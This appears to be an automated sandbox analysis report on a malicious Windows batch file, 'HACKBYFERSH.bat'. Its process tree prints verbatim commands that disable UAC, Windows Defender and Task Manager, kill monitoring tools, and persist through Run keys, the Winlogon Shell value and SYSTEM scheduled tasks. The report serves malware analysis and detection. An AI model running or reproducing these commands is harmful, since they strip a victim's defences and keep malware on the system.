Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 07:48

General

  • Target
    HACKBYFERSH.bat
  • Size 18KB
  • Sample260629-jnellagv3w
  • SHA256 ae806d2c03c3a3935b3d4be348d0175aaacbfcb5d3ebc26a1ab1da57c333be1f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 5 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 5 IoCs
  • UAC bypass 3 TTPs 5 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 7 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Drops desktop.ini file(s) 6 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Delays execution with timeout.exe 5 IoCs
  • Kills process with taskkill 30 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 25 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat"
    1⤵
    • Drops file in Drivers directory
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:5920
    • C:\Windows\system32\chcp.com
      chcp 65001
      2⤵
        PID:2904
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:2280
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:7016
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:3204
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
            PID:1948
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            2⤵
              PID:3000
            • C:\Windows\system32\net.exe
              net stop WinDefend /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5276
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop WinDefend /y
                3⤵
                  PID:5988
              • C:\Windows\system32\sc.exe
                sc config WinDefend start= disabled
                2⤵
                • Launches sc.exe
                PID:1552
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im taskmgr.exe
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5472
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im procexp.exe
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4968
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im procexp64.exe
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1532
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
                2⤵
                • Drops file in Drivers directory
                • Views/modifies file attributes
                PID:3616
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                2⤵
                • Adds Run key to start application
                PID:2760
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
                2⤵
                • Adds Run key to start application
                PID:6576
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
                2⤵
                • Modifies WinLogon for persistence
                PID:5904
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4964
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:6620
              • C:\Windows\system32\cmd.exe
                cmd /c ":loop
                2⤵
                  PID:5292
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im taskmgr.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6440
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im procexp.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4060
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im procexp64.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3964
                • C:\Windows\system32\timeout.exe
                  timeout /t 1 /nobreak
                  2⤵
                  • Delays execution with timeout.exe
                  PID:5840
              • C:\Windows\System32\chcp.com
                chcp 65001
                1⤵
                  PID:5948
                • C:\Windows\System32\chcp.com
                  chcp 65001
                  1⤵
                    PID:3064
                  • C:\Windows\explorer.exe
                    explorer.exe ,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat
                    1⤵
                      PID:5964
                    • C:\Windows\System32\chcp.com
                      chcp 65001
                      1⤵
                        PID:5984
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                        1⤵
                        • Drops desktop.ini file(s)
                        • Modifies Internet Explorer settings
                        • Modifies registry class
                        • Suspicious behavior: AddClipboardFormatListener
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SetWindowsHookEx
                        PID:7100
                      • C:\Windows\System32\net.exe
                        net session
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2312
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 session
                          2⤵
                            PID:1536
                        • C:\Windows\System32\net.exe
                          net session
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5832
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 session
                            2⤵
                              PID:3344
                          • C:\Windows\System32\net.exe
                            net session
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5124
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 session
                              2⤵
                                PID:1680
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                              1⤵
                              • UAC bypass
                              PID:2740
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                              1⤵
                              • Modifies Windows Defender DisableAntiSpyware settings
                              PID:4216
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                              1⤵
                              • UAC bypass
                              PID:4656
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                              1⤵
                              • UAC bypass
                              PID:4140
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                              1⤵
                                PID:4488
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                1⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                PID:5224
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                1⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                PID:6368
                              • C:\Windows\System32\reg.exe
                                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                1⤵
                                  PID:5112
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                  1⤵
                                    PID:3128
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                    1⤵
                                      PID:4456
                                    • C:\Windows\System32\net.exe
                                      net stop WinDefend /y
                                      1⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:5648
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 stop WinDefend /y
                                        2⤵
                                          PID:3884
                                      • C:\Windows\System32\reg.exe
                                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                        1⤵
                                          PID:6372
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                          1⤵
                                            PID:6792
                                          • C:\Windows\System32\net.exe
                                            net stop WinDefend /y
                                            1⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:2192
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 stop WinDefend /y
                                              2⤵
                                                PID:3464
                                            • C:\Windows\System32\net.exe
                                              net stop WinDefend /y
                                              1⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:2608
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 stop WinDefend /y
                                                2⤵
                                                  PID:2752
                                              • C:\Windows\System32\sc.exe
                                                sc config WinDefend start= disabled
                                                1⤵
                                                • Launches sc.exe
                                                PID:4840
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im taskmgr.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5152
                                              • C:\Windows\System32\sc.exe
                                                sc config WinDefend start= disabled
                                                1⤵
                                                • Launches sc.exe
                                                PID:6408
                                              • C:\Windows\System32\sc.exe
                                                sc config WinDefend start= disabled
                                                1⤵
                                                • Launches sc.exe
                                                PID:6500
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im taskmgr.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3424
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im taskmgr.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1132
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3332
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5100
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4796
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp64.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:248
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp64.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:264
                                              • C:\Windows\System32\taskkill.exe
                                                taskkill /f /im procexp64.exe
                                                1⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:6140
                                              • C:\Windows\System32\attrib.exe
                                                attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
                                                1⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:1556
                                              • C:\Windows\System32\attrib.exe
                                                attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
                                                1⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:2388
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:7156
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:1808
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:684
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:1644
                                              • C:\Windows\System32\attrib.exe
                                                attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
                                                1⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:7132
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
                                                1⤵
                                                • Modifies WinLogon for persistence
                                                PID:6432
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
                                                1⤵
                                                • Modifies WinLogon for persistence
                                                PID:6416
                                              • C:\Windows\System32\schtasks.exe
                                                schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
                                                1⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:7160
                                              • C:\Windows\System32\schtasks.exe
                                                schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
                                                1⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:4064
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:6444
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                1⤵
                                                • Adds Run key to start application
                                                PID:6852
                                              • C:\Windows\System32\schtasks.exe
                                                schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
                                                1⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:2016
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f
                                                1⤵
                                                • Modifies WinLogon for persistence
                                                PID:588
                                              • C:\Windows\System32\schtasks.exe
                                                schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
                                                1⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:888
                                              • C:\Windows\System32\schtasks.exe
                                                schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f
                                                1⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:6892
                                              • C:\Windows\System32\cmd.exe
                                                cmd /c ":loop
                                                1⤵
                                                  PID:2088
                                                • C:\Windows\System32\taskkill.exe
                                                  taskkill /f /im taskmgr.exe
                                                  1⤵
                                                  • Kills process with taskkill
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:972
                                                • C:\Windows\System32\cmd.exe
                                                  cmd /c ":loop
                                                  1⤵
                                                    PID:6520
                                                  • C:\Windows\System32\taskkill.exe
                                                    taskkill /f /im taskmgr.exe
                                                    1⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1912
                                                  • C:\Windows\System32\schtasks.exe
                                                    schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f
                                                    1⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:6320
                                                  • C:\Windows\System32\taskkill.exe
                                                    taskkill /f /im procexp.exe
                                                    1⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2800
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /c ":loop
                                                    1⤵
                                                      PID:1724
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im taskmgr.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:7140
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im procexp.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1044
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im procexp64.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3044
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im procexp64.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1092
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im procexp.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:6272
                                                    • C:\Windows\System32\timeout.exe
                                                      timeout /t 1 /nobreak
                                                      1⤵
                                                      • Delays execution with timeout.exe
                                                      PID:7032
                                                    • C:\Windows\System32\taskkill.exe
                                                      taskkill /f /im procexp64.exe
                                                      1⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:6424
                                                    • C:\Windows\System32\timeout.exe
                                                      timeout /t 1 /nobreak
                                                      1⤵
                                                      • Delays execution with timeout.exe
                                                      PID:5136
                                                    • C:\Windows\System32\timeout.exe
                                                      timeout /t 1 /nobreak
                                                      1⤵
                                                      • Delays execution with timeout.exe
                                                      PID:5376
                                                    • C:\Windows\explorer.exe
                                                      explorer.exe ,C:\Windows\System32\drivers\etc\fersh.bat
                                                      1⤵
                                                        PID:2520
                                                      • C:\Windows\System32\chcp.com
                                                        chcp 65001
                                                        1⤵
                                                          PID:1452
                                                        • C:\Windows\System32\net.exe
                                                          net session
                                                          1⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:6628
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 session
                                                            2⤵
                                                              PID:1932
                                                          • C:\Windows\explorer.exe
                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                            1⤵
                                                            • Drops desktop.ini file(s)
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious behavior: AddClipboardFormatListener
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2264
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                                                            1⤵
                                                            • UAC bypass
                                                            PID:6156
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                            1⤵
                                                            • Modifies Windows Defender DisableAntiSpyware settings
                                                            PID:2344
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                            1⤵
                                                              PID:6060
                                                            • C:\Windows\System32\reg.exe
                                                              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                              1⤵
                                                                PID:5332
                                                              • C:\Windows\System32\net.exe
                                                                net stop WinDefend /y
                                                                1⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3092
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 stop WinDefend /y
                                                                  2⤵
                                                                    PID:2900
                                                                • C:\Windows\System32\sc.exe
                                                                  sc config WinDefend start= disabled
                                                                  1⤵
                                                                  • Launches sc.exe
                                                                  PID:6988
                                                                • C:\Windows\System32\taskkill.exe
                                                                  taskkill /f /im taskmgr.exe
                                                                  1⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1056
                                                                • C:\Windows\System32\taskkill.exe
                                                                  taskkill /f /im procexp.exe
                                                                  1⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1864
                                                                • C:\Windows\System32\taskkill.exe
                                                                  taskkill /f /im procexp64.exe
                                                                  1⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:6532
                                                                • C:\Windows\System32\attrib.exe
                                                                  attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
                                                                  1⤵
                                                                  • Drops file in Drivers directory
                                                                  • Views/modifies file attributes
                                                                  PID:6556
                                                                • C:\Windows\System32\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                                  1⤵
                                                                  • Adds Run key to start application
                                                                  PID:4296
                                                                • C:\Windows\System32\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
                                                                  1⤵
                                                                  • Adds Run key to start application
                                                                  PID:6316
                                                                • C:\Windows\System32\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f
                                                                  1⤵
                                                                  • Modifies WinLogon for persistence
                                                                  PID:2580
                                                                • C:\Windows\System32\schtasks.exe
                                                                  schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f
                                                                  1⤵
                                                                  • Scheduled Task/Job: Scheduled Task
                                                                  PID:5080
                                                                • C:\Windows\System32\schtasks.exe
                                                                  schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f
                                                                  1⤵
                                                                  • Scheduled Task/Job: Scheduled Task
                                                                  PID:4964
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd /c ":loop
                                                                  1⤵
                                                                    PID:4280
                                                                  • C:\Windows\System32\taskkill.exe
                                                                    taskkill /f /im taskmgr.exe
                                                                    1⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:6644
                                                                  • C:\Windows\System32\taskkill.exe
                                                                    taskkill /f /im procexp.exe
                                                                    1⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:6440
                                                                  • C:\Windows\System32\taskkill.exe
                                                                    taskkill /f /im procexp64.exe
                                                                    1⤵
                                                                    • Kills process with taskkill
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4060
                                                                  • C:\Windows\System32\timeout.exe
                                                                    timeout /t 1 /nobreak
                                                                    1⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:2744

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v16

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                                                                        iconcache_idx.db

                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                                                                        • Size 28KB
                                                                        • SHA256 46a8724429b8276bf6dcf9e21c33697773a52549d13c1ee90976e998b00c8be2
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH